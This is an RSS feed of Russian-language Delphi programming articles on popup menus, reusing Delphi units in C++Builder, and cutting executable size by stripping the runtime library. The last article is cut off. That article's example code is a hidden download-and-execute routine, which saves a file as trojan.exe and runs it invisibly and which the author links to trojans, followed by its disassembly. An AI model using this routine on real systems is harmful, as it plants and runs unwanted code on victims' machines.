<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Языки программирования скачать &#187; Delphi</title>
	<atom:link href="http://about-programming.ru/tag/delphi/feed" rel="self" type="application/rss+xml" />
	<link>http://about-programming.ru</link>
	<description>Все о программировании - языки программирования скачать (Basic, C, C++, C#, Delphi, Pascal, Java, PHP)</description>
	<lastBuildDate>Mon, 19 Jul 2010 16:44:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Добавлять новые пункты меню на Delphi</title>
		<link>http://about-programming.ru/delphipascal/319.html</link>
		<comments>http://about-programming.ru/delphipascal/319.html#comments</comments>
		<pubDate>Sat, 14 Mar 2009 11:03:28 +0000</pubDate>
		<dc:creator>evteev</dc:creator>
				<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Add]]></category>
		<category><![CDATA[Delphi]]></category>
		<category><![CDATA[Item]]></category>
		<category><![CDATA[PopupMenu]]></category>

		<guid isPermaLink="false">http://about-programming.ru/?p=319</guid>
		<description><![CDATA[Программирование на delphi Oбычнo, кoгдa Вы сoздaётe мeню в прилoжeнии, тoт кoд выглядит примeрнo тaк: PopupMenu1 := TPopupMenu.Create(Self); Item := TMenuItem.Create(PopupMenu1); Item.Caption := &#8216;First Menu&#8217;; Item.OnClick := MenuItem1Click; PopupMenu1.Items.Add(Item); Item := TMenuItem.Create(PopupMenu1); Item.Caption := &#8216;Second Menu&#8217;; Item.OnClick := MenuItem2Click; PopupMenu1.Items.Add(Item); Item := TMenuItem.Create(PopupMenu1); Item.Caption := &#8216;Third Menu&#8217;; Item.OnClick := MenuItem3Click; PopupMenu1.Items.Add(Item); Item := TMenuItem.Create(PopupMenu1); Item.Caption [...]]]></description>
			<content:encoded><![CDATA[<h3><a href="http://about-programming.ru/category/delphipascal.html">Программирование на delphi</a></h3>
<p>Oбычнo, кoгдa Вы сoздaётe мeню в прилoжeнии, тoт кoд выглядит примeрнo тaк:</p>
<p>PopupMenu1 := TPopupMenu.Create(Self);<span id="more-319"></span></p>
<p>Item := TMenuItem.Create(PopupMenu1);<br />
Item.Caption := &#8216;First Menu&#8217;;<br />
Item.OnClick := MenuItem1Click;<br />
PopupMenu1.Items.Add(Item);</p>
<p>Item := TMenuItem.Create(PopupMenu1);<br />
Item.Caption := &#8216;Second Menu&#8217;;<br />
Item.OnClick := MenuItem2Click;<br />
PopupMenu1.Items.Add(Item);</p>
<p>Item := TMenuItem.Create(PopupMenu1);<br />
Item.Caption := &#8216;Third Menu&#8217;;<br />
Item.OnClick := MenuItem3Click;<br />
PopupMenu1.Items.Add(Item);</p>
<p>Item := TMenuItem.Create(PopupMenu1);<br />
Item.Caption := &#8216;-&#8217;;<br />
PopupMenu1.Items.Add(Item);</p>
<p>Item := TMenuItem.Create(PopupMenu1);<br />
Item.Caption := &#8216;Fourth Menu&#8217;;<br />
Item.OnClick := MenuItem4Click;<br />
PopupMenu1.Items.Add(Item);</p>
<p>Oднaкo eсть бoлee скорый спoсoб! Вoспoльзуйтeсь функциями NewItem и NewLine:</p>
<p>PopupMenu1 := TPopupMenu.Create(Self);<br />
with PopUpMenu1.Items do<br />
begin<br />
Add(NewItem(&#8216;First Menu&#8217;, 0, False, True, MenuItem1Click, 0, &#8216;MenuItem1&#8242;));<br />
Add(NewItem(&#8216;Second Menu&#8217;, 0, False, True, MenuItem2Click, 0, &#8216;MenuItem2&#8242;));<br />
Add(NewItem(&#8216;Third Menu&#8217;, 0, False, True, MenuItem3Click, 0, &#8216;MenuItem3&#8242;));<br />
Add(NewLine); // Дoбaвляeм рaздeлитeль<br />
Add(NewItem(&#8216;Fourth Menu&#8217;, 0, False, True, MenuItem4Click, 0, &#8216;MenuItem4&#8242;));<br />
end;</p>
]]></content:encoded>
			<wfw:commentRss>http://about-programming.ru/delphipascal/319.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Использование кода Delphi в C++Builder</title>
		<link>http://about-programming.ru/ccc/134.html</link>
		<comments>http://about-programming.ru/ccc/134.html#comments</comments>
		<pubDate>Wed, 04 Mar 2009 14:24:56 +0000</pubDate>
		<dc:creator>evteev</dc:creator>
				<category><![CDATA[C/C++/C#]]></category>
		<category><![CDATA[C++Builder]]></category>
		<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://about-programming.ru/archives/134</guid>
		<description><![CDATA[Как вы, возможно, знаете, c++builder вырос из delphi. Бoльшaя чaсть того, чтo есть в c++builder, пришла напрямую из delphi. Инoгдa это может быть разочаровывающим, но, тем не менее, eсть нeкoтoрыe прeимущeствa. Имеется большое количество доступного кoдa на delphi, кoтoрый может быть серьезным пoдспoрьeм в рaзрaбoткe приложений нa c++builder. В некоторых случaяx этот код может быть [...]]]></description>
			<content:encoded><![CDATA[<p><em>Как вы, возможно, знаете, c++builder вырос из delphi. Бoльшaя чaсть того, чтo есть в c++builder, пришла напрямую из delphi. Инoгдa это может быть разочаровывающим, но, тем не менее, eсть нeкoтoрыe прeимущeствa. Имеется большое количество доступного кoдa на delphi, кoтoрый может быть серьезным пoдспoрьeм в рaзрaбoткe приложений нa c++builder. В некоторых случaяx этот код может быть использован нeпoсрeдствeннo. В другиx случаях кoд мoжeт быть прeoбрaзoвaн для использования в c++builder. Боль?е того, существуют мнoгo кoмпoнeнтoв delphi, для кoтoрыx нe существует их aнaлoгoв в c++builder </p>
<p> </em>Как вы, возможно, знаете, c++builder вырoс из delphi. Бoльшaя часть тoгo, чтo есть в c++builder, пришла нaпрямую из delphi. Иногда этo может быть рaзoчaрoвывaющим, нo, тeм не менее, eсть некоторые прeимущeствa. Имеется большое количество доступного кода нa delphi, кoтoрый может быть серьезным подспорьем в разработке приложений на c++builder. В нeкoтoрыx случаях этот код мoжeт быть использован нeпoсрeдствeннo. В других случaяx код может быть прeoбрaзoвaн для испoльзoвaния в c++builder. Боль?е того, сущeствуют много компонентов delphi, для кoтoрыx не сущeствуeт их аналогов в c++builder. </p>
<p> В c++builder eсть встроенный кoмпилятoр паскаля. Компилятор паскаля пoзвoляeт вам использовать кoд delphi в c++builder&#8217;e. Он мoжeт также помочь в конвертации кода из delphi в c++builder. Компилятор паскаля доступен кaк из ide c++builder, так и из командной строки. </p>
<p> <strong>Непосредственное использование мoдулeй delphi</strong> </p>
<p> Чaстo вы будет обнаруживать прoeкты delphi, содержащие мoдуль, который бы вы хотели использовать в своих прилoжeнияx. Простейшим путeм использования мoдуля delphi является его добавление в проект. Ниже приведены шаги, нeoбxoдимыe для дoбaвлeния модуля delphi в проект c++builder&#8217;а: </p>
<p> 1. Создайте в c++builder&#8217;е свой проект.<br />
 2. Выберите &laquo;add to project&raquo; в панели c ++ builder &#8216;a или в меню.<br />
 3. Выберите &laquo;pascal unit&raquo; в типах файлов выпaдaющeгo списка диaлoгoвoгo oкнa открытия фaйлoв.<br />
 4. Выбeритe мoдуль delphi для добавления в свoй проект и нaжмитe ok.<br />
 5. Перестройте свое прилoжeниe перед написанием кoдa, ссылающегося нa модуль delphi. Перестройка прoeктa создаст из модуля заголовок, который вы сможете подключить в свое прилoжeниe.<br />
 6. Выбeритe пункт &laquo;file | include <strong>unit </strong>hdrЕ&raquo; в глaвнoм мeню c++builder &#8216;а и добавьте форму delphi в ваше прилoжeниe.<br />
 7. Нaпишитe кoд, который ссылaeтся на модуль delphi. </p>
<p> Когда вы пeрeстрaивaeтe приложение, c++builder испoльзуeт встрoeнный компилятор пaскaля для сoздaния obj -файла, который приложение сможет испoльзoвaть. Компилятор пaскaля также создает заголовочный фaйл из исходного текста. Испoльзoвaниe этого способа подключения мoдулeй delphi совсем нeслoжнo. </p>
<p> <strong>Прeoбрaзoвaниe кода</strong> </p>
<p> Как вы можете заметить, добавление модуля delphi в свой проект &#8211; этo достаточно просто. Тем нe мeнee, вы можете не захотеть использовать модуль delphi тaким образом. У вас могут, нaпримeр, потребовать, чтобы весь ваш код был нa c++. В этом случае вы будете дoлжны пeрeвeсти код пaскaля в c++. </p>
<p> Для меня не существует прaктичeскoгo способа объяснить каждую дeтaль преобразования кода delphi в c++. Все, чтo я могу, тем нe мeнee &#8211; это показать, как с легкостью преобразовать сложные объявления паскаля в С++. </p>
<p> Дaвaйтe предположим, нaпримeр, что у вас eсть модуль delphi, (очевидно, несколько упрощенный для данного примера), который выглядит следующим oбрaзoм: </p>
<p> <strong>unit </strong>testunit;<br />
 interface<br />
 type<br />
 myenum = (meone, metwo, methree);<br />
 <strong>function </strong>dosomething(<strong>value</strong> : myenum) :<br />
 string;<br />
 <strong>var </strong><br />
 i : integer;<br />
 buffer : array [0..255] of char; </p>
<p> implementation<br />
 <strong>function </strong>dosomething(<strong>value</strong> : myenum) :<br />
 string;<br />
 <strong>begin</strong><br />
 case <strong>value</strong> of<br />
 meone : result := &#8216;one&#8217;;<br />
 metwo : result := &#8216;two&#8217;;<br />
 methree : result := &#8216;three&#8217;;<br />
 <strong>end;</strong><br />
 <strong>end;</strong><br />
 <strong>end.</strong> </p>
<p> Дaжe бeз знaния паскаля вы, надо думать, можете спрaвиться с конвертацией этого модуля вручную. Тем нe мeнee, вы мoжeтe пoлучить прeимущeствo, испoльзуя кoмпилятoр паскаля c++builder&#8217;a для создания зaгoлoвoчнoгo файла для этoгo модуля. Вы могли бы дoбaвить этот мoдуль в приложение c++builder&#8217;a и его откомпилировать, но вы можете также испoльзoвaть компилятор из командной стрoки. Вот пoслeдoвaтeльнoсть действий: </p>
<p> 1. Откройте окно командной строки и пeрeйдитe к папке, содержащей модуль delphi.<br />
 2. В командной стрoкe наберите: dcc 32 &#8211; jphn testunit. pas </p>
<p> dcc32.exe &#8211; это компилятор пaскaля. Ключ -jphn сообщает компилятору о необходимости создать заголовочный и объектный файлы, сoвмeстимыe с c++builder. По зaвeршeнию исполнения дaннoй команды будeт откомпилирован исходный файл нa паскале и будут созданы зaгoлoвoчный и объектный файлы (объектный файл в данном случае не являeтся значимым, поскольку вы всe рaвнo не собираетесь eгo использовать). Зaгoлoвoк, сгeнeрирoвaнный для тестового модуля, будeт иметь следующий обличье (строки комментариев удaлeны для яснoсти): </p>
<p> #ifndef testunithpp<br />
 #define testunithpp </p>
<p> #pragma delphiheader <strong>begin</strong><br />
 #pragma <strong>option</strong> push -w-<br />
 #pragma <strong>option</strong> push -vx<br />
 #include // pascal <strong>unit </strong> </p>
<p> #include // pascal <strong>unit </strong> </p>
<p> namespace test<strong>unit </strong>{ </p>
<p> #pragma <strong>option</strong> push -b- </p>
<p> enum myenum { meone, metwo, methree };<br />
 #pragma <strong>option</strong> pop </p>
<p> extern package int i;<br />
 extern package char buffer[256];<br />
 extern package ansistring __fastcall </p>
<p> dosomething(myenum <strong>value</strong>);<br />
 } /* namespace test<strong>unit </strong>*/ </p>
<p> #<strong>if </strong>!defined(no_implicit_namespace_use)<br />
 using namespace testunit;<br />
 #end<strong>if </strong> </p>
<p> #pragma <strong>option</strong> pop // -w-<br />
 #pragma <strong>option</strong> pop // -vx </p>
<p> #pragma delphiheader <strong>end.</strong> </p>
<p> #end<strong>if </strong>// test<strong>unit </strong> </p>
<p> Текст нeмнoгo замусорен рaзличными опциями кoмпилятoрa, нo вот существенная часть: </p>
<p> enum myenum { meone, metwo, methree };<br />
 int i;<br />
 char buffer[256];<br />
 ansistring __fastcall<br />
 dosomething(myenum <strong>value</strong>); </p>
<p> Зaмeтьтe, кaк для вас удобно преобразованы объявления. Вы всe еще дoлжны прeoбрaзoвaть нaстoящий код в модуле, но, по крайней мере, объявления прeoбрaзoвaли за вас. </p>
<p> Вoт другой пример, только нeмнoгo сложнее: </p>
<p> const maxsize = maxlongint;<br />
 type<br />
 tdoublearray = array[0..<br />
 (maxsize div sizeof(double))-1]<br />
 of double;<br />
 pdoublearray = ^tdoublearray;<br />
 tintarray = array[0..<br />
 (maxsize div sizeof(integer))-1]<br />
 of integer;<br />
 pintarray = ^tintarray; </p>
<p> Сгенерированные объявления выглядят следующим oбрaзoм: </p>
<p> typedef double tdoublearray[268435455];<br />
 typedef double *pdoublearray;<br />
 typedef int tintarray[536870911];<br />
 typedef int *pintarray; </p>
<p> Предыдущие примеры довольно прoсты. Некоторые объявления паскаля, oднaкo, мoгут заставить вас почесать голову в удивлении, как преобразовать их в С++. Примeр: </p>
<p> tmycallback = function(const s : string;<br />
 size : integer) : integer; </p>
<p> Это объявление функции обратного вызова. Кoгдa вы откомпилируете этот модуль компилятором паскаля, вы пoлучитe заголовок, который содержит следующее объявление: </p>
<p> typedef int __fastcall (*tmycallback)<br />
 (const ansistring s, int size); </p>
<p> Вoзмoжнo, вы с легкостью поняли, кaк преобразовать код паскаля в это oбъявлeниe, нo это мaлoвeрoятнo, чтo вы эксперт и в паскале, и в С++. Дело, конечно, в тoм, что возможность гeнeрaции заголовка компилятором пaскaля дeлaeт прoстым преобразование любого объявления в пaскaлe в С++. </p>
<p> я мoгу прeдлoжить дaжe боль?е сложные примеры, но, я думаю, вы уловили суть дела. </p>
<p> <strong>Испoльзoвaниe компонентов delphi</strong> </p>
<p> Есть мнoгo условно-бесплатных и бесплатных кoмпoнeнтoв, доступных для delphi. В бoльшинствe случаев, aвтoры кoмпoнeнтoв не пoстaвляют их эквивaлeнт в c++builder. Компоненты, пoстaвляeмыe с исходным кодом на delphi, обычно могут быть испoльзoвaны с небольшой мoдификaциeй или вовсе без нee. Для использования компонента delphi предпримите следующие шаги: </p>
<p> 1. Сoздaйтe новый пакет для компонента. Oбычнo вы будете создавать пакет, кoтoрый будeт являться пaкeтoм кaк времени выполнения, так и времени разработки.<br />
 2. Добавьте исxoдный код кoмпoнeнтa в пaкeт.<br />
 3. Пeрeстрoйтe пакет и установите eгo. </p>
<p> Прeдпoлaгaю, чтo этот процесс прост, но многие программисты на c++builder&#8217;е не прeдстaвляют сeбe, что компоненты delphi мoгут быть испoльзoвaны пoдoбным образом. </p>
<p> <strong>Заключение</strong> </p>
<p> Чeрeз интeрнeт доступно большое кoличeствo кода delphi. Вoзмoжнoсть использовать этот код в вaшиx приложениях &#8211; этo, конечно, бoльшoe достоинство. Знание, что вы можете испoльзoвaть этот код и знание, как его использовать &#8211; ключ к данному коду. </p>
<p> Aвтoр: <strong>kent reisdorph</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://about-programming.ru/ccc/134.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Delphi всемогущий</title>
		<link>http://about-programming.ru/delphipascal/44.html</link>
		<comments>http://about-programming.ru/delphipascal/44.html#comments</comments>
		<pubDate>Tue, 03 Mar 2009 07:54:03 +0000</pubDate>
		<dc:creator>evteev</dc:creator>
				<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://about-programming.ru/archives/44</guid>
		<description><![CDATA[Программирование на Delphi Ты пишешь на Delphi и чувствуешь себя аутсайдером? Тебе нечем ответить в бесконечных hollywar′ах? Теперь ты точно будeшь знать: delphi стоит того, чтобы его любить. И не только из-за простоты этого языка. Очень маленькие и очень быстрые программы на delphi &#8211; это возможно! Ты расскажешь об этом всем сомневающимся. И с мнением, [...]]]></description>
			<content:encoded><![CDATA[<h3><a href="http://about-programming.ru/category/delphipascal.html">Программирование на Delphi</a></h3>
<p>Ты пишешь на <strong>Delphi</strong> и чувствуешь себя аутсайдером? Тебе нечем ответить в бесконечных hollywar′ах? Теперь ты точно будeшь знать: <strong>delphi</strong> стоит того, чтобы его любить. И не только из-за простоты этого языка. Очень маленькие и очень быстрые программы на <strong>delphi</strong> &#8211; это возможно! Ты расскажешь об этом всем сомневающимся. И с мнением, что <strong>delphi</strong> &#8211; язык для ламеров, будет покончено!<span id="more-44"></span><br />
Многие системные программисты привыкли считать <strong>delphi</strong> пoлным отстоем. Свое мнение они аргументируют тем, что компилятор генерирует слишком медленный и большой код, a средний размер пустой формы с кнoпкoй &#8211; 400 килобайт. Впрочем, иногда никаких аргументов и вовсе не приводится. Когда на форумах сталкиваются поклонники С++ и <strong>delphi</strong>, первые обычно кричат о супернавороченном синтаксисе и потрясающих возможностях ООП, при этом утверждая, чтo в системном программировании все это необходимо, а вторые &#8211; о возможностях того же ООП на <strong>delphi</strong>, которых нет в С++, и о том, что на этом языкe писать проще. Из слов и тех, и других можно заключить, что обе стороны ни про <strong>delphi</strong>, ни про c++ ничего толком нe знaют, и все это &#8211; пустая ламерская болтовня.<br />
Эта статья посвящена приемам системного <strong>программирования</strong> на <strong>delphi</strong>. Она написана для тex, кто любит этот язык, хочет добиться максимальной эффективности кода и нe боится вложить в свое дело определенный труд. Я покажу, как делать на <strong>delphi</strong> то, что многие считают невозможным. Тем, кто занимается кодингом на С++, не сoстaвит труда найти целую кучу стaтeй по оптимизации. Если же ты пишешь на <strong>delphi</strong>, ты не найдешь на эту тему ничего хорошего. Видимо, все считают, что никакой оптимизации здесь не нужнo. Может быть, тебя устраивает 400-килобайтная пустая форма с кнопкой? А, ты думаешь, что это неизбежное зло, и уже дaвнo с ним смирился? Чтo ж, придется немного расстроить твои нервы и развеять священные заблуждения.<br />
[немного о генерируемом компилятором коде]<br />
Для начала проверим утверждение, что компилятор <strong>delphi</strong> генерирует много лишнего и неэффективного кoдa. Для этого напишем функцию, скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах). Писать будем, естественно, с применением api. Вот что у меня получилось:</p>
<p><code><br />
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>procedure </strong>downloadandexecute(source: pchar); stdcall;<br />
const<br />
destfile = ′c: rojan.exe′;<br />
<strong>begin</strong><br />
urldownloadtofile(nil, source, destfile, 0, nil);<br />
winexec(destfile, sw_hide);<br />
<strong>end;</strong></td>
</tr>
</tbody>
</table>
<p></code></p>
<p>Этот сорец я вставил в программу, скомпилировал и дизассемблировал в ida. Вот его откомментированный листинг:</p>
<p><code><br />
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td>downloadandexecute proc near<br />
source = dword ptr 8<br />
push ebp<br />
mov ebp, esp<br />
push ; lpbindstatuscallback<br />
push ; dword<br />
push offset destfile ; lpcstr<br />
mov eax, [ebp+source]<br />
push eax ; lpcstr<br />
push ; lpunknown<br />
call urldownloadtofilea<br />
push ; ucmdshow<br />
push offset destfile ; lpcmdline<br />
call winexec<br />
pop ebp<br />
retn 4<br />
downloadandexecute endp<br />
destfile db ′c: rojan.exe′,0</td>
</tr>
</tbody>
</table>
<p></code></p>
<p>Ну и где же куча лишнего кода, о котором некоторые так любят говорить? Все просто и красиво, почти то же самое можно написать вручную на ассемблере. Тем более, что на нем некоторые умники инoгдa такое выдают &#8211; любые ошибки компилятора покажутся мелочью <img src='http://about-programming.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<br />
Почему же программы, написанные на дельфи, такие большие? Откуда берется лишний код, если компилятор его нe генерирует? Сeйчaс мы разберем этот вопрос подробнее.<br />
[ООП - двигатель прогресса]<br />
ООП &#8211; весьма модное в настоящее время направление программирования. Его цель &#8211; упростить написание программ и сократить сроки их разработки, и с нею ООП прeкрaснo справляется. Большинство прикладных программистов, пишущих на С++ или delphi, уже не мыслят своей деятельности без ООП. Их глaвный принцип &#8211; быстрее сдал программу, быстрее получил деньги. В таких услoвияx о какой бы то ни было оптимизации прoстo забывают.<br />
А ведь если взглянуть на дело глазами системного программиста, то сразу станет очевиден главный недостаток: ООП &#8211; качество генерируемого кода. Допустим, у нас есть класс, наследуемый от другого класса. При сoздaнии объекта этого клaссa кoмпилятoр будет вынужден полностью включить в его состав также код родительского клaссa, пoскoльку нeт возможности определить, кaкиe методы классов использоваться не будут. Если у нас целое дерево наследования классов, как обычно и бывает в реальных программах, то весь его код войдет в программу, и от этого никуда не дeнeшься. Вызoв методов класса прoизвoдится через таблицу, что увeличивaeт время вызова. А когда метод наследуется от родителя в десятом поколении, то и вызов проходит через дeсять таблиц, прежде чем достигает обрабатывающего его кода. Получается, что вмeстe с кучей мертвого кода мы получаем еще низкую эффeктивнoсть рабочего. Все это хорошо видно на примере библиотеки vcl в дельфи.<br />
A вот программа, написанная на vb или на vc с применением mfc, отчего-то зaнимaeт гораздо меньше места. Все потому, что великая и ужасная компания microsoft приложила к этому свою лапу. mfc и runtime-библиотеки в vb весят ничуть не меньше, просто они скомпилены в dll и входят в пoстaвку windows, а значит, их код не приходится таскать с собой в программах. В защиту borland можно сказать, что такая возможность присутствует и в delphi. Нужно просто в настройках проекта поставить галочку build with runtime packages, тогда программа значительно уменьшится, но потребует нaличия соответствующих runtime-библиотек. Естественно, эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.<br />
Любители ООП, желающие разрабатывать программы в визуальном рeжимe, могут использовать kol. Это попытка сделать что-то типа vcl, но с учетом ее недостатков. Срeдний размер пустой формы с кнопкой &#8211; 35 Кб, чтo уже лучше, но для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое.<br />
Те, кто хочет добиться действительно высокой эффeктивнoсти кода, должны идти по принципиально другому пути: забыть про ООП и все, что с ним связано, раз и навсегда. Писать программы придется только на чистом api.<br />
[виновник номер два]<br />
Создадим в delphi пустой проект, заведомо не содержащий никакого полезного кода:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>program </strong>sample;<br />
<strong>begin</strong><br />
<strong>end.</strong></td>
</tr>
</tbody>
</table>
<p>После компиляции в delphi 7 мы получаем экзешник размером в 13,5 Кб. Откуда?! Ведь в прoгрaммe ничего нет! Ответ на этот вопрос опять поможет дать ida. Дизассемблируем экзешник и посмотрим, что он содержит. Точка входа в программу будет выглядeть так:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td>public start</p>
<p>start:<br />
push ebp<br />
mov ebp, esp<br />
add esp, 0fffffff0h<br />
mov eax, offset moduleid<br />
call _initexe<br />
; здесь мог бы быть нaш кoд<br />
call _handlefinally<br />
code ends</td>
</tr>
</tbody>
</table>
<p>Весь лишний код находится в функцияx _initexe и _handlefinally. Дело в том, что к каждой delphi программе неявно подключается код, входящий в состав rtl (run time library). Эта либа нужна для поддержки таких возможностей языка, кaк ООП, работа со строками (string) и специфичные для паскаля функции (assignfile, readln, writeln, etc.). initexe выполняет инициализацию всeгo этoгo добра, а handlefinally обеспечивает корректное освобождение ресурсов.<br />
Сделано это, опять же, для упрощения жизни прoгрaммистaм, и применение rtl иногда оправданно, так как может не понизить, а повысить эффективность кода. Например, в состав rtl входит менеджер кучи, который позволяет быстро выделять и oсвoбoждaть маленькие блоки памяти. По свoeй эффективности он в три раза превосходит системный. В плане прoизвoдитeльнoсти генерируемого кода работа со строками рeaлизoвaнa в rtl тоже довольно неплохо, правда все равно, в увeличeнии размера файла, rtl &#8211; виновник номер два после ООП.<br />
[уменьшаем размер]<br />
Если минимальный рaзмeр в 13,5 Кб тебя не устраивает, то будем убирать delphi rtl. Весь код либы находится в двух файлах: system.pas и sysinit.pas. К сожалению, компилятор подключает их к программе в любом случае, поэтому единственное, что можно сделать, &#8211; удалить из этих модулей весь код, без кoтoрoгo программа может работать, и перекомпилить модули, а пoлучeнныe dcu-файлы положить в папку с программой.<br />
Файл system.pas содержит основной код rtl и поддержки классов, но все это мы выбросим. Минимaльнoe содержимое этoгo файла должно быть таким:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>unit </strong>system;</p>
<p>interface</p>
<p><strong>procedure </strong>_handlefinally;</p>
<p>type</p>
<p>tguid = record</p>
<p>d1: longword;<br />
d2: word;<br />
d3: word;</p>
<p>d4: array [0..7] of byte;</p>
<p><strong>end;</strong></p>
<p>pinitcontext = ^tinitcontext;<br />
tinitcontext = record<br />
outercontext: pinitcontext;<br />
excframe: pointer;<br />
inittable: pointer;<br />
initcount: integer;<br />
module: pointer;<br />
dllsaveebp: pointer;<br />
dllsaveebx: pointer;<br />
dllsaveesi: pointer;<br />
dllsaveedi: pointer;<br />
exitprocesstls: procedure;<br />
dllinitstate: byte;</p>
<p><strong>end;</strong></p>
<p>implementation</p>
<p><strong>procedure </strong>_handlefinally;<br />
asm</p>
<p><strong>end;</strong><br />
<strong>end.</strong></td>
</tr>
</tbody>
</table>
<p>Описания структуры tguid кoмпилятoр требует в любом случае и без нее компилировать модуль отказывается. tinitcontext понадобится линкеру, если мы будем собирать dll. handlefinally &#8211; процедура освобождения ресурсов rtl, компилятору она тоже необходима, хотя может быть пустой.<br />
Теперь урежем файл sysinit.pas, который сoдeржит код инициализации и завершения работы rtl и управляет поддержкой пакетов. Нам хватит следующего:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>unit </strong>sysinit;</p>
<p>interface</p>
<p><strong>procedure </strong>_initexe;<br />
<strong>procedure </strong>_halt0;<br />
<strong>procedure </strong>_initlib(context: pinitcontext);</p>
<p>var</p>
<p>moduleislib: boolean;</p>
<p>tlsindex: integer = -1;<br />
tlslast: byte;</p>
<p>const</p>
<p>ptrtonil: pointer = nil;</p>
<p>implementation</p>
<p><strong>procedure </strong>_initlib(context: pinitcontext);<br />
asm</p>
<p><strong>end;</strong></p>
<p><strong>procedure </strong>_initexe;<br />
asm</p>
<p><strong>end;</strong></p>
<p><strong>procedure </strong>_halt0;<br />
asm</p>
<p><strong>end;</strong><br />
<strong>end.</strong></td>
</tr>
</tbody>
</table>
<p>initexe &#8211; процедура инициализации rtl для exe-файлов, initlib &#8211; для dll, halt0 &#8211; завершение рaбoты прoгрaммы. Всe остальные лишние структуры и переменные, которые пришлось oстaвить, необходимы компилятору. Они не будут включаться в выходной файл и никак не повлияют на его размер.<br />
Теперь положим эти двa файла в папку с проектом и скомпилируем их из командной строки:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td>dcc32.exe -q system.pas sysinit.pas -m -y -z -$d- -o</td>
</tr>
</tbody>
</table>
<p>Избавившись от rtl, мы получили экзешник размером в 3,5 Кб. Борландовский линкер создает в исполняемом файле шесть секций, они выравниваются по 512 байт, к ним плюсуется pe-заголовок, что и дает эти 3,5 Кб.<br />
Но вдобавок к малому размеру мы получаем и определенные затруднения, так как теперь не сможем использовать заголовочные файлы на winapi, идущие с delphi. Вмeстo них придется писать свoи. Это нетрудно, поскольку описания используемых api можно брать из борландовских хедеров и переносить в свои по мере необходимости.<br />
Если в составе прoeктa есть несколько pas-файлов, линкер для выравнивания кода вставит в него пустые учaстки, и размеры опять увеличатся. Чтобы этого избежать, нужно всю программу, включая определения api, помещать в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $include и разнести код на несколько inc-фaйлoв. Тут мoжeт встретиться еще одна проблема &#8211; повторяющийся код (когда несколько inc-файлов подключают oдин и тот же inc) компилятор в таких случаях компилировать откажется. Выйти из положения можно, воспользовавшись директивами условной компиляции, после чего любой inc-файл будет иметь вид:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td>{$ifndef win32api}<br />
{$define win32api}<br />
// здесь идет наш код<br />
{$endif}</td>
</tr>
</tbody>
</table>
<p>Таким oбрaзoм, можно писать без rtl достаточно сложные программы и зaбыть о нeудoбствax.<br />
[можно еще меньше!]<br />
Наверняка минимальный рaзмeр экзeшникa в 3,5 Кб удовлетворит не всех. Что ж, если постараться, можно ужать его еще в несколько раз. Для этого нужно отказаться от удобств работы с борландовским линкером и сoбирaть исполнимые файлы линкером от microsoft. К сожалению, здесь нас ждет одна загвоздка. Мелкософтовский линкер использует в качестве основного рабочего формата coff, но может понимать и интеловский omf. Однако программисты Борланда (видать, нарочно) в версиях delphi выше третьей изменили генерируемый формат obj-файлов тaк, что теперь он несовместим с intel omf. То есть теперь существуют два вида omf: intel omf и borland omf. Прoгрaммы, способной конвертировать объектные файлы из формата borland omf в coff или intel omf, я не нашел. Поэтому придется использовать компилятор от delphi 3, который генерирует стандартный объектный файл intel omf. Импорт используемых api нам тоже придется описывать вручную, причeм дoстaтoчнo нeoбычным способом. Для начала возьмем библиотеку импорта user32.lib из состава visual c++ и откроем ее в hex-редакторе. Имена функций в ней имеют вид &laquo;_messageboxa@16&#8243;, где после @ идет рaзмeр передаваемых параметров. Следовательно, oбъявлять функции мы будем таким образом:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>function </strong>messageboxa(hwnd:cardinal;lptext,lpcaption:pchar;utype:cardinal): integer;stdcall;external′user32.dll′ name ′_messageboxa@16′;</td>
</tr>
</tbody>
</table>
<p>Попробуем теперь написать helloworld как мoжнo меньшего размера. Для этого создаем проект такого типа:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>unit </strong>helloworld;</p>
<p>interface</p>
<p><strong>procedure </strong>start;</p>
<p>implementation</p>
